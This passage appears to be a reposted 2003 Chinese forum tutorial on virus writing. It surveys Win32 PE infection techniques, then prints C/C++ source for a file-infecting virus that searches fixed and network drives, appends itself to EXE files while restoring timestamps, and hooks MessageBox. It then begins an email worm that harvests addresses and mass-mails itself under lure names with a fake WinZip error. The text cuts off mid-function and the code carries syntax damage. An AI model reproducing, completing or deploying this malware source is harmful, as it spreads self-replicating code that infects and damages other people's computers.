     LHAHeaderSize       Equ This Byte - offset32 LHASig



       MyVxDName db "FONO98.VXD",0
     SizeVxDName Equ This Byte - offset32 MyVx

论坛徽章:
0
2 [报告]
发表于 2003-05-02 10:45 |只看该作者

浅谈病毒编程(转)

浅谈病毒编程(3)
原创:squirrel(squirrel)

浅谈病毒编程(3)
一,win32.pe类的大总结
------------------------------------------------------------------------------------
首先让我们回顾一下纯pe病毒在windows下使用的技术方法                                |
a.hook api                                                                         |
在win9x的年代里,这种方法是一种好方法,但现在win2k/nt/xp的普及                     |
使hook api的方法已经不太起作用了                                                   |
就其原因:                                                                         |
win9x/me把user.dll,kernel.dll,gdi.dll等系统级的连接库装入内存给程序调用            |
而win2k/nt/xp则是程序在调用时将他们装入程序的内存中,在程序结束时再将他            |
们卸载出程序的内存                                                                 |
这样在win9x/me下,只要改内存的映射就可以hook所有                                   |
而在win2k/xp/nt下,必须对native api进行hook才可以,但是对native api进行hook        |
必须有admin权限,并且搞不好会引起系统崩溃,甚至有时要写一个驱动才行。。。          |
所以现在搞hook api的人不多了。。。。                                               |
b.hook vxd/ifs                                                                     |
早在cih之前hook vxd/ifs就出现了,不过流行在cih之后的年代里,但是如今基于winNT技术  |
的操作系统中,进入ring0已经越来越难,因而使用hook vxd/ifs的方法病毒也愈来愈少。    |
但是他们仍然是破坏力最强,隐蔽最深的病毒。。。                                     |
c.use api/native api                                                               |
最近五年兴起了use api的病毒,不过这种病毒使那些使用apihook的杀毒软件走向成熟。。   |
在nt/2k/xp下api是从native api映射过来的,所以use native api的病毒也开始走上舞台。  |
                                                                                   |
------------------------------------------------------------------------------------
接下来,我们就以use api这种最简单最方便的最快速的方法写一个病毒。。using c++
(病毒流程图
               1st check up itself if ok to create two thread one for itself
                   other for the programm then go to 2nd and check to do the ments goto 6nd
               2nd do the finding if found go to 3rd not do 2nd again
               3rd check up the found file if not nt and not infect go to 4th
                   if nt and protect goto 2nd
                   if nt and not protect and not infect goto 4th
               4th infect file then goto 2nd
               
  )



a.自检部分(病毒的入口)
void main()
{
  BYTE InfectedFile[_MAX_PATH];
  DWORD ThreadID;
  DWORD ThreadInfID;
  HANDLE HThread;
  HANDLE InfThread;
  int i;
  HMODULE * HandleDLL = NULL;
  int ImportedDLLs = 0;


  // Get the infected filename
  GetModuleFileName(NULL, InfectedFile, sizeof(InfectedFile));
  // And its memory address
  IDosHeader = (IMAGE_DOS_HEADER *)GetModuleHandle(InfectedFile);
   
  IPEHeader = (IMAGE_NT_HEADERS *)((BYTE *)IDosHeader + IDosHeader->;e_lfanew);

  if ( IPEHeader->;Signature == IMAGE_NT_SIGNATURE ) // Check if we got the PE header
  {
    // Get ptr to Sections
    ISection = (IMAGE_SECTION_HEADER *)((BYTE *)IPEHeader + sizeof(IMAGE_NT_HEADERS));
    // Get ptr to virus Sections
    ISection += FirstVirusSection;
  
    if (Generation++ == 1)
    {   // Make some easy 1st-gen calcs to avoid complex ones in next generations
      HostEP = (DWORD)Gen1 - (DWORD)IDosHeader;
      VirusSections = IPEHeader->;FileHeader.NumberOfSections; // Number of sections
      // Get the order of sections
      for (i=0; i<VirusSections; i++)
      {
        if ((ISection.VirtualAddress <= IPEHeader->;OptionalHeader.AddressOfEntryPoint)
             &&
            (ISection.VirtualAddress + ISection.SizeOfRawData >; IPEHeader->;OptionalHeader.AddressOfEntryPoint)
           )
        { // This is the code section
          VirusCodeSection = i;
          VirusEP = IPEHeader->;OptionalHeader.AddressOfEntryPoint - ISection.VirtualAddress;
        }
        else
        {
          if ((ISection.VirtualAddress <= IPEHeader->;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress)
                      &&
                    (ISection.VirtualAddress + ISection.SizeOfRawData >; IPEHeader->;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress)
                   )
          { // This is the import section
                  VirusImportSection = i;
                VirusRVAImports = IPEHeader->;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress - ISection[0].VirtualAddress;
          }
          else
          {
            if (ISection.VirtualAddress == IPEHeader->;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress)
            { // This is the reloc section
              VirusRelocSection = i;
              VirusRelocSize = ISection.Misc.VirtualSize;
              VirusRelocSizeDir = IPEHeader->;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
            }
          }
        }
      }//for
    }
    else  // Not first generation
    {
      IMAGE_IMPORT_DESCRIPTOR * HostImports;
      int i;
      
      HostImports = (IMAGE_IMPORT_DESCRIPTOR *)(HostRVAImports + (DWORD)IDosHeader);
      // Count imported DLLs
      while (HostImports->;OriginalFirstThunk)
      {
        ImportedDLLs++;
        HostImports++;
      }
      HandleDLL = (HMODULE *)MEMALLOC(ImportedDLLs * sizeof(HMODULE));
      // Make host imports
      HostImports = (IMAGE_IMPORT_DESCRIPTOR *)(HostRVAImports + (DWORD)IDosHeader);
      for (i=0; i<ImportedDLLs; i++)
      {
        DWORD * FunctionName;
        DWORD * FunctionAddr;
        LPCTSTR Name;
        LPCTSTR StExitThread = "ExitThread";

        if ((HandleDLL = LoadLibrary((LPCTSTR)(HostImports->;Name + (DWORD)IDosHeader))) == NULL)
        { // Exit if not find a DLL
          char StError[100];

          MEMFREE(HandleDLL);
          sprintf(StError, "Can not find %s", (LPCTSTR)(HostImports->;Name + (DWORD)IDosHeader));
          MessageBox(NULL, StError, "Error initializing program", MB_OK | MB_ICONWARNING);
          ExitProcess(0);
        }

        // Perform host imports
        FunctionName = (DWORD *)(HostImports->;OriginalFirstThunk + (DWORD)IDosHeader);
        FunctionAddr = (DWORD *)(HostImports->;FirstThunk + (DWORD)IDosHeader);
        while (*FunctionName)
        {
          if (*FunctionName & IMAGE_ORDINAL_FLAG)
          {
            // Windows doesn't like ordinal imports from kernel32, so use my own GetProcAddress
            *FunctionAddr = GetProcAddressOrd((DWORD)HandleDLL, IMAGE_ORDINAL(*FunctionName));
          }
          else
          {
            Name = (LPCTSTR)((DWORD)IDosHeader + *FunctionName + 2/*Hint*/);
            // Change ExitProcess by ExitThread
            if (!strcmp(Name, "ExitProcess")
              Name = StExitThread;
            // Set payload
            if (!strcmp(Name, "MessageBoxA")
              *FunctionAddr = (DWORD)&MyMessageBox;
            else
              *FunctionAddr = (DWORD)GetProcAddress(HandleDLL, Name);
          }
          FunctionName++;
          FunctionAddr++;
        }
        HostImports++;
      }
    }

    HostEP += (DWORD)IDosHeader;
    // Exec host with a thread
    if ((HThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)HostEP, GetCommandLine(), 0, &ThreadID)) != NULL)
    {
      HANDLE VirusMutex;
      
      // Check if already resident
      if ( ((VirusMutex = CreateMutex(NULL, FALSE, "29A") != NULL)
           &&
           (GetLastError() != ERROR_ALREADY_EXISTS)
         )
      {
        // Create infection thread
        InfThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)SearchDrives , NULL, CREATE_SUSPENDED, &ThreadInfID);
        // Assign a low priority
        SetThreadPriority(InfThread, THREAD_PRIORITY_IDLE);
        // Activate it
        ResumeThread(InfThread);
        // Wait until infection completed
        WaitForSingleObject(InfThread, INFINITE);
        ReleaseMutex(VirusMutex);
      }
      // Wait until host thread finnished
      WaitForSingleObject(HThread, INFINITE);
    }

    for (i=0; i<ImportedDLLs; i++)
    {
      FreeLibrary(HandleDLL);
    }
    if (HandleDLL != NULL)
      MEMFREE(HandleDLL);
  }
}   
b.搜索部分
///////////////////////////////////////////
// Recursively search for files to infect
///////////////////////////////////////////
void SearchFiles(char * Path)
{
  HANDLE FindHandle;
  WIN32_FIND_DATA FindResult;


  if (SetCurrentDirectory(Path))
  {
    // Search for EXE files in current directory
    if ((FindHandle = FindFirstFile("*.EXE", &FindResult)) != INVALID_HANDLE_VALUE)
    {
      do
      {
      
          checkfile(FindResult.cFileName);                          
         
        }
      }
      while (FindNextFile(FindHandle, &FindResult));
    }
    FindClose(FindHandle);
    // Now search for subdirectories and process them
    if ((FindHandle = FindFirstFile("*", &FindResult)) != INVALID_HANDLE_VALUE)
    {
      do
      {
        if (FindResult.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
        {
          char * DirName;

          DirName = _strupr(_strdup(FindResult.cFileName));
          if (
                (memcmp(DirName, "SYSTEM", 6))    // Skip SYSTEM??
              &&
                (FindResult.cFileName[0] != '.')  // Skip loops with "." and ".."
             )
          {
            SearchFiles(FindResult.cFileName);
          }
          free(DirName);
        }
      }
      while (FindNextFile(FindHandle, &FindResult));
    }
    FindClose(FindHandle);
  }
}


/////////////////////////////////////////////
// Search fixed and network drives to infect
/////////////////////////////////////////////
DWORD WINAPI SearchDrives()
{
  DWORD Drives;
  BYTE CurrentDrive[] = "A:\\";
  DWORD DriveType;
  BYTE i;

  Drives = GetLogicalDrives();
  for (i=0; i<sizeof(DWORD); i++)
  {
    if (Drives & (1<<i))  // Drive present?
    {
      CurrentDrive[0] = 'A' + i;
      DriveType = GetDriveType(CurrentDrive);
      // Only infect files in Fixed and Network Drives
      if ((DriveType == DRIVE_FIXED) || (DriveType == DRIVE_REMOTE))
      {
        SearchFiles(CurrentDrive);
      }
    }
  }
  return 1;
}
c.识别部分
int checkfile(char* argv[])
{        
        FILETIME Time1, Time2, Time3;
    OSVERSIONINFO        VersionInformation ;
    HMODULE                hSFC ;
    FARPROC                a_SfcIsFileProtected ;
    WCHAR                wszFileName[ MAX_PATH] ;
    PROTECTED_FILE_DATA pfd ;
        handle fhandle
        MultiByteToWideChar(CP_ACP, 0, argv[ 1], -1, wszFileName, MAX_PATH)
     FHandle = CreateFile(wszFileName,
                             GENERIC_READ | GENERIC_WRITE,
                             0,
                             NULL,
                             OPEN_EXISTING,
                             FILE_ATTRIBUTE_ARCHIVE,
                             NULL
                            );
        if (FHandle != INVALID_HANDLE_VALUE)
        {
          GetFileTime(FHandle, &Time1, &Time2, &Time3); // Get file time

    VersionInformation.dwOSVersionInfoSize = sizeof( OSVERSIONINFO) ;

    if ( GetVersionEx( &VersionInformation) == 0)
    {      
                SetFileTime(FHandle, &Time1, &Time2, &Time3); // Restore file time
                 CloseHandle(FHandle);
        //printf( "Error: Api GetVersionEx() failed\n\n", argv[ 0]) ;
        return -1 ;
    }

    if (VersionInformation.dwPlatformId != VER_PLATFORM_WIN32_NT)
    {
                 InfectFile(fhandle)
                 SetFileTime(FHandle, &Time1, &Time2, &Time3); // Restore file time
                 CloseHandle(FHandle);
        //printf( "Error: This program only runs under Windows 2000/xp\n\n" ;
        return -1 ;
    }

    if ( ( hSFC = LoadLibrary( "SFC.DLL") == NULL)
    {         
                 InfectFile(fhandle)
                 SetFileTime(FHandle, &Time1, &Time2, &Time3); // Restore file time
                 CloseHandle(FHandle);
        //printf( "Error: SFC.DLL not found\n\n", argv[ 0]) ;
        return -1 ;
    }
if ( ( a_SfcIsFileProtected = GetProcAddress( hSFC, "SfcIsFileProtected") == NULL)
        {
            FreeLibrary( hSFC) ;
                        SetFileTime(FHandle, &Time1, &Time2, &Time3); // Restore file time
                        CloseHandle(FHandle);
            //printf( "Error: Api SfcIsFileProtected not found\n\n", argv[ 0]) ;
            return -1 ;
        }

        

        if ( a_SfcIsFileProtected( NULL, wszFileName)) //printf( "rotected file\n\n" ;
        else {
                 InfectFile(fhandle)
                 SetFileTime(FHandle, &Time1, &Time2, &Time3); // Restore file time
                 CloseHandle(FHandle);
                      }
}

    FreeLibrary( hSFC) ;
    return 0;
}
}
c.感染部分
void InfectFile(HANDLE FHandle)
{
  BYTE * Relocations = NULL;
  BYTE * HostRelocs = NULL;
  BYTE * Ptr;
  IMAGE_BASE_RELOCATION * RelocBlock;
  IMAGE_RELOCATION_DATA * PtrReloc;
  int j;

  // Let's do some initializations
  Section = NULL;
  Relocations = NULL;
  HostRelocs = NULL;
  Ptr = NULL;

  if (ReadPEHeader(FHandle))
  {
    DWORD SectionRVA;
    int HostNSections;
    DWORD HostRelocsSize;
    DWORD BytesRead;
    int i;

    HostEP = PEHeader.OptionalHeader.AddressOfEntryPoint;
    HostNSections = PEHeader.FileHeader.NumberOfSections;

    HostRVAImports = PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;

    // Search for victim import section
    for (i=0; i<HostNSections; i++)
    {
      if (Section.VirtualAddress + Section.SizeOfRawData >; HostRVAImports)
      {
        // Do it writable
        Section.Characteristics |= IMAGE_SCN_MEM_WRITE;
        break;
      }
    }

    // Check if last section is .reloc
    HostRelocsSize = 0;
    if (PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress == Section[HostNSections-1].VirtualAddress)
    {
      // Then we'll join it to virus reloc section
      VirusBaseRVA = SectionRVA = Section[HostNSections-1].VirtualAddress;
      if ( (HostRelocs = (BYTE *)MEMALLOC((HostRelocsSize = PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size))) == NULL)
      {
        goto L_Exit_Infect;
      }
      else  // Read the .reloc section
      {
        HostNSections--;
        SetFilePointer(FHandle, Section[HostNSections].PointerToRawData, NULL, FILE_BEGIN);
        ReadFile(FHandle,  HostRelocs, HostRelocsSize, &BytesRead, NULL);
        SetFilePointer(FHandle, Section[HostNSections].PointerToRawData, NULL, FILE_BEGIN);
      }
    }
    else  // There is no .reloc or it is not the last section
    {
      if (PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress != 0)
      { // There are relocs but we didn't find them, so exit
        goto L_Exit_Infect;
      }
      VirusBaseRVA = SectionRVA = PEHeader.OptionalHeader.SizeOfImage;
      SetFilePointer(FHandle, 0, NULL, FILE_END);
    }

    FirstVirusSection = HostNSections;
    // Add virus section table
    CopyMemory(&Section[HostNSections], &ISection[0], sizeof(IMAGE_SECTION_HEADER) * VirusSections);

    // Reloc virus code & fix reloc sections
    if ((Relocations = MEMALLOC((VirusRelocSize >; 0x1000)? VirusRelocSize : 0x1000)) == NULL) // Minimun a page
    {
      goto L_Exit_Infect;
    }
    CopyMemory(Relocations, (BYTE *)((DWORD)IDosHeader + ISection[VirusRelocSection].VirtualAddress + ISection[VirusRelocSection].Misc.VirtualSize - VirusRelocSize), VirusRelocSize);
   
    RelocBlock = (IMAGE_BASE_RELOCATION *)Relocations;
    PtrReloc = (IMAGE_RELOCATION_DATA *)(Relocations + sizeof(IMAGE_BASE_RELOCATION));

    // Reloc all virus sections and write them to disk
    for (i=0; i<VirusSections; i++)
    {
      DWORD RelocsInBlock;

      Section[HostNSections + i].PointerToRawData = SetFilePointer(FHandle, 0, NULL, FILE_CURRENT);
      Section[HostNSections + i].VirtualAddress = SectionRVA;
      Section[HostNSections + i].SizeOfRawData = (ISection.SizeOfRawData + PEHeader.OptionalHeader.FileAlignment-1) & (-(long)PEHeader.OptionalHeader.FileAlignment);
      
      if (i == VirusRelocSection)  // Virus reloc section?
      {
        PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress = SectionRVA;
        PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size = HostRelocsSize + VirusRelocSize;
        Section[HostNSections + i].Misc.VirtualSize = HostRelocsSize + VirusRelocSize;
        Section[HostNSections + i].SizeOfRawData = (HostRelocsSize + VirusRelocSize + (PEHeader.OptionalHeader.FileAlignment - 1)) & (-(long)PEHeader.OptionalHeader.FileAlignment);
        // Write host relocations
        WriteFile(FHandle, HostRelocs, HostRelocsSize, &BytesRead, NULL);
        // Add virus relocations
        WriteFile(FHandle, Relocations, VirusRelocSize, &BytesRead, NULL);
        // Fill with zeros until file alignment
        memset(Relocations, 0, 0x1000);
        WriteFile(FHandle, Relocations, Section[HostNSections + i].SizeOfRawData - (HostRelocsSize + VirusRelocSize), &BytesRead, NULL);
      }
      else
      {
        if ((Ptr = (BYTE *)MEMALLOC(ISection.SizeOfRawData)) == NULL)
        {
          goto L_Exit_Infect;
        }
        CopyMemory(Ptr, (BYTE *)((DWORD)IDosHeader + ISection.VirtualAddress), ISection.SizeOfRawData);

        // Patch Visual C 5.0 heap in .data section
/*
        {
          DWORD * PtrHeap = &__small_block_heap;

          if (((DWORD)IDosHeader + ISection.VirtualAddress < (DWORD)PtrHeap)
               &&
              ((DWORD)IDosHeader + ISection.VirtualAddress + ISection.SizeOfRawData >; (DWORD)PtrHeap)
             )
          {
            PtrHeap = (DWORD *)(Ptr + (DWORD)PtrHeap - (DWORD)IDosHeader - ISection.VirtualAddress);
            PtrHeap[3] = PtrHeap[2];
            PtrHeap[4] = PtrHeap[5] = (DWORD)-1;
          }
        }
*/        
        // Do relocations in this section
        while ( (ISection.VirtualAddress + ISection.SizeOfRawData >; RelocBlock->;VirtualAddress)
                &&
                ((DWORD)PtrReloc < (DWORD)Relocations + VirusRelocSizeDir)
              )
        {
          DWORD Base;

          Base = RelocBlock->;VirtualAddress - ISection.VirtualAddress;
          RelocsInBlock = (RelocBlock->;SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOCATION_DATA);
          while (RelocsInBlock--)
          {
            if (PtrReloc->;RelocType == IMAGE_REL_BASED_HIGHLOW)
            {
                    *((DWORD *)&tr[Base + PtrReloc->;RelocOfs]) -= (IPEHeader->;OptionalHeader.ImageBase + ISection.VirtualAddress);//RelocBlock->;VirtualAddress);
              *((DWORD *)&tr[Base + PtrReloc->;RelocOfs]) += (PEHeader.OptionalHeader.ImageBase + SectionRVA);
            }
            PtrReloc++;
          }
          RelocBlock->;VirtualAddress = RelocBlock->;VirtualAddress - ISection.VirtualAddress + SectionRVA;
          RelocBlock = (IMAGE_BASE_RELOCATION *)PtrReloc;
          PtrReloc = (IMAGE_RELOCATION_DATA *)((BYTE *)RelocBlock + sizeof(IMAGE_BASE_RELOCATION));
        }
        
        // Check if this is the Import section
        if (i == VirusImportSection)
        {
          IMAGE_IMPORT_DESCRIPTOR * Imports;
          IMAGE_THUNK_DATA * DataImports;
          DWORD StartImports;
          DWORD DeltaRVAs;

          DeltaRVAs = SectionRVA - ISection.VirtualAddress;
          StartImports = IPEHeader->;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress - ISection.VirtualAddress;
          Imports = (IMAGE_IMPORT_DESCRIPTOR *)&tr[StartImports];
          while (Imports->;OriginalFirstThunk)
          {
            // Fix some initialized fields in memory
            Imports->;TimeDateStamp = Imports->;ForwarderChain = 0;
            Imports->;OriginalFirstThunk += DeltaRVAs;
            Imports->;Name += DeltaRVAs;
            Imports->;FirstThunk += DeltaRVAs;
            DataImports = (IMAGE_THUNK_DATA *)&tr[Imports->;OriginalFirstThunk - SectionRVA];
            do
            {
              DataImports->;u1.AddressOfData = (IMAGE_IMPORT_BY_NAME *)((DWORD)DataImports->;u1.AddressOfData + DeltaRVAs);
            }
            while ((++DataImports)->;u1.AddressOfData);
            Imports++;
          }
        }

        WriteFile(FHandle, Ptr, Section[HostNSections + i].SizeOfRawData, &BytesRead, NULL);
        MEMFREE(Ptr);
        Ptr = NULL;
      }
      SectionRVA += ( Section[HostNSections + i].Misc.VirtualSize + (PEHeader.OptionalHeader.SectionAlignment - 1)) & (-(long)PEHeader.OptionalHeader.SectionAlignment);
    }//for
   
    // Recalculate Header fields
    PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;
    PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0;
    PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].VirtualAddress = 0;
    PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].Size = 0;
    PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress = VirusRVAImports + Section[HostNSections + VirusCodeSection].VirtualAddress;
    PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size = IPEHeader->;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size;
    PEHeader.OptionalHeader.SizeOfImage = SectionRVA;
    PEHeader.OptionalHeader.AddressOfEntryPoint = VirusEP + Section[HostNSections + VirusCodeSection].VirtualAddress;
    PEHeader.FileHeader.NumberOfSections = HostNSections + VirusSections;
    PEHeader.OptionalHeader.SizeOfCode = 0;
    PEHeader.OptionalHeader.SizeOfInitializedData = 0;
    PEHeader.OptionalHeader.SizeOfUninitializedData = 0;
    for (j=0; j<EHeader.FileHeader.NumberOfSections; j++)
    {
      if (Section[j].Characteristics & IMAGE_SCN_CNT_CODE)
        PEHeader.OptionalHeader.SizeOfCode += Section[j].SizeOfRawData;
      if (Section[j].Characteristics & IMAGE_SCN_CNT_INITIALIZED_DATA)
        PEHeader.OptionalHeader.SizeOfInitializedData += Section[j].SizeOfRawData;
      if (Section[j].Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA)
        PEHeader.OptionalHeader.SizeOfUninitializedData += Section[j].SizeOfRawData;
    }
    // Write new header and section table
    SetFilePointer(FHandle, OfsSections - sizeof(IMAGE_NT_HEADERS), NULL, FILE_BEGIN);
    WriteFile(FHandle, &EHeader, sizeof(IMAGE_NT_HEADERS), &BytesRead, NULL);
    WriteFile(FHandle, Section, PEHeader.FileHeader.NumberOfSections * sizeof(IMAGE_SECTION_HEADER), &BytesRead, NULL);
  }

L_Exit_Infect:
  // Free allocated memory
  if (HostRelocs != NULL)
    MEMFREE(HostRelocs);
  if (Relocations != NULL)
    MEMFREE(Relocations);
  if (Section != NULL)
    MEMFREE(Section);
  if (Ptr != NULL)
    MEMFREE(Ptr);
}
d.其他处理
#include <stdio.h>;
#include <windows.h>;


/////////////////////
// Defines
/////////////////////

#define MEMALLOC(x) GlobalAlloc(GPTR, x)
#define MEMFREE(x)  GlobalFree(x)


/////////////////////
// Type definitions
/////////////////////

typedef struct
{
  WORD RelocOfs : 12;
  WORD RelocType:  4;
} IMAGE_RELOCATION_DATA;

////////////
// Globals
////////////
IMAGE_NT_HEADERS PEHeader;
IMAGE_DOS_HEADER * IDosHeader;
IMAGE_NT_HEADERS * IPEHeader;
IMAGE_SECTION_HEADER * ISection;
IMAGE_SECTION_HEADER * Section = NULL;
int Generation = 1;
int VirusSections = 0;
int FirstVirusSection = 0;
int VirusCodeSection = 0;
int VirusImportSection = 0;
DWORD VirusImportSize = 0;
DWORD VirusRVAImports = 0;
DWORD HostRVAImports = 0;
int VirusRelocSection = 0;
DWORD VirusRelocSize = 0;
DWORD VirusRelocSizeDir = 0;
DWORD OfsSections = 0;
DWORD VirusBaseRVA = 0;
DWORD VirusEP = 0;
DWORD HostEP = 0;

//// Fix for Visual C 5.0 heap
//extern __small_block_heap;



//////////////
// Functions
//////////////


/////////////////////////////////////
// GetProcAddress for ordinal imports
/////////////////////////////////////
DWORD GetProcAddressOrd(DWORD Base, DWORD NFunc)
{
  IMAGE_NT_HEADERS * DLLHeader;
  IMAGE_EXPORT_DIRECTORY * Exports;
  DWORD * AddrFunctions;

  DLLHeader = (IMAGE_NT_HEADERS *)(Base + ((IMAGE_DOS_HEADER *)Base)->;e_lfanew);
  Exports = (IMAGE_EXPORT_DIRECTORY *)(Base + DLLHeader->;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
  AddrFunctions = (DWORD *)(Base + Exports->;AddressOfFunctions);
  return Base + AddrFunctions[NFunc - Exports->;Base];
}



//////////////////////////////////
// Check file and read PE header
//////////////////////////////////
int ReadPEHeader(HANDLE FHandle)//FILE * FHandle)
{
  IMAGE_DOS_HEADER FileHeader;
  WORD SizeSections;
  DWORD BytesRead;

  return
     (      // Read file header
       ( ReadFile(FHandle, &FileHeader, sizeof(IMAGE_DOS_HEADER), &BytesRead, NULL) )
       &&
       ( BytesRead == sizeof(IMAGE_DOS_HEADER) )
       &&   // Check if EXE file
       ( FileHeader.e_magic == IMAGE_DOS_SIGNATURE )
       &&   // Seek to NewExe header
       ( SetFilePointer(FHandle, FileHeader.e_lfanew, NULL, FILE_BEGIN) != (DWORD)-1 )
       &&   // Read header
       ( ReadFile(FHandle, &EHeader, sizeof(IMAGE_NT_HEADERS), &BytesRead, NULL) )
       &&
       ( BytesRead == sizeof(IMAGE_NT_HEADERS) )
       &&   // Check if PE file
       ( PEHeader.Signature == IMAGE_NT_SIGNATURE )
       &&   // Alloc memory for file sections + virus sections
       ( (SizeSections = (PEHeader.FileHeader.NumberOfSections + VirusSections) * sizeof(IMAGE_SECTION_HEADER)) )
       &&
       ( (Section = MEMALLOC(SizeSections)) != NULL )
       &&
       ( (OfsSections = SetFilePointer(FHandle, 0, NULL, FILE_CURRENT)) )
       &&   // Read PE sections
       ( ReadFile(FHandle, Section, SizeSections, &BytesRead, NULL) )
       &&
       ( BytesRead == SizeSections )
       &&   // Check if there is enough room for our sections
       ( (SetFilePointer(FHandle, 0, NULL, FILE_CURRENT) + (VirusSections * sizeof(IMAGE_SECTION_HEADER))) <= PEHeader.OptionalHeader.SizeOfHeaders )
       &&   // Only infect when entry point belongs to 1st section
            // Avoid reinfections and compressors (usually perform virus checks)
       ( PEHeader.OptionalHeader.AddressOfEntryPoint < Section[0].VirtualAddress + Section[0].SizeOfRawData )
       &&   // Skip DDLs
       ( !(PEHeader.FileHeader.Characteristics & IMAGE_FILE_DLL) )
       &&   // Skip files with overlays or not aligned to file alignment
       ( SetFilePointer(FHandle, 0, NULL, FILE_END) == Section[PEHeader.FileHeader.NumberOfSections-1].PointerToRawData + Section[PEHeader.FileHeader.NumberOfSections-1].SizeOfRawData )
       &&   //Check if the host will overwrite our code with its unitialized data (not present in disk)
       ( Section[PEHeader.FileHeader.NumberOfSections-1].Misc.VirtualSize <= Section[PEHeader.FileHeader.NumberOfSections-1].SizeOfRawData )
     );
}



///////////////////////////////////////
// Translates a RVA into a file offset
///////////////////////////////////////
DWORD RVA2Ofs(DWORD rva)
{
  int NSect;
  
  NSect = 0;
  while ( NSect < (PEHeader.FileHeader.NumberOfSections - 1) )
  {
    if ( (Section[NSect].VirtualAddress + Section[NSect].SizeOfRawData) >;= rva )
      break;
    NSect++;
  }
  return (Section[NSect].PointerToRawData + ( rva - Section[NSect].VirtualAddress ));
}
f.发作部分
int MyMessageBox(HWND hWnd, LPSTR Text, LPSTR Caption, UINT Type)
{
  char * Msgs[] =
  {
    "我爱你",
    "Win32/致张一 by SQUIRREL",
    "Warning! Don't close this window",
    "I already told you this but..."
  };
  static int i = 0;

  return MessageBoxA(hWnd, Text, Msgs[++i & 3], Type);
}


// Simulated host for 1st generation
void Gen1()
{
  MyMessageBox(NULL, "我爱你", NULL, MB_OK);
}
  二,  i-worm 专题
现如今i-worm病毒正在向bug using的方面发展,而在六七年前worm们主要是在局域网生存的
a.e-mail using
1.mapi using
举几个例子:(这几个例子来自网友的推荐)
a.从文件中提取mail地址
#include<windows.h>;
#include<mapi.h>;
#include<memory.h>;

#pragma argsused

/* find, get n' send mail */
void findMail(char *);
void GetMail(char *, char *);

// the function we are going to use to send mails
ULONG (PASCAL FAR *MSendMail)(ULONG, ULONG, MapiMessage*, FLAGS, ULONG);

// we want it global
MapiMessage mes;
MapiRecipDesc from;
char fileName[512];
unsigned short count=0;

char *fileNames[]={ "Docs.exe", "Roms.exe", "Sex.exe", "Setup.exe", "Source.exe", "_SetupB.exe",
"ack.exe", "LUPdate.exe", "atch.exe", "CrkList.exe" };

char *subs[]={ "Documents", "Roms", "Pr0n!", "Evaluation copy", "Help", "Beta",
"Do not release", "Last Update", "The patch", "Cracks!" };

char *texts[]= { "Send me your comments...", "Test this ROM! IT ROCKS!.",
"Adult content!!! Use with parental advisory.", "Test it 30 days for free.",
"I'm going crazy... please try to find the bug!", "Send reply if you want to be official beta tester.",
"This is the pack ", "This is the last cumulative update.", "I think all will work fine.",
"Check our list and mail your requests!" };

// our lovely func
void SendMail(char *subject, char *sfrom,char *sto, char *smes);

// stealth
void fastOut();

int PASCAL
WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance,
                                                            LPSTR lpCmdLine, int nCmdShow)
{
HINSTANCE MAPIlHnd;
unsigned char buff[128];
DWORD buffs=128;
HKEY keyHnd;
char keyPath[]="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders";
char keyItem[]="Personal";

    /* random number */
    count=(unsigned short)GetTickCount();
    while(count>;9)
        count=(unsigned short)(count/2);

    /* get module name for the attachment */
    if(!GetModuleFileName(hInstance,fileName,512))
        fastOut();

    /* test if MAPI32 is avaliable */
    MAPIlHnd=LoadLibraryA("MAPI32.DLL";
    if(!MAPIlHnd)
        fastOut();

    /* get MAPISendMail */
    (FARPROC &MSendMail=GetProcAddress(MAPIlHnd, "MAPISendMail");

    if(!MSendMail)
        fastOut();

    findMail(".");
    findMail("\\windows");
    if(RegOpenKeyEx((PHKEY)0x80000001,keyPath,0,KEY_READ,&keyHnd)==ERROR_SUCCESS) {
        if(ERROR_SUCCESS==RegQueryValueEx(keyHnd,keyItem,0,0,buff,&buffs)) {
            buff[buffs-1]='\\';
            buff[buffs]=0;
            findMail((char *)buff);
        }
    }
    FreeLibrary(MAPIlHnd);

fastOut();
return 0;
}

void
fastOut()
{
    MessageBox(NULL,"File data corrupt:\n\n\tbad disk access or bad data transmission.",
    "WinZip Self-eXtractor",MB_OK|MB_ICONSTOP);
    exit(-1);
}


void
SendMail(char *subject, char *sfrom,char *sto, char *smes)
{

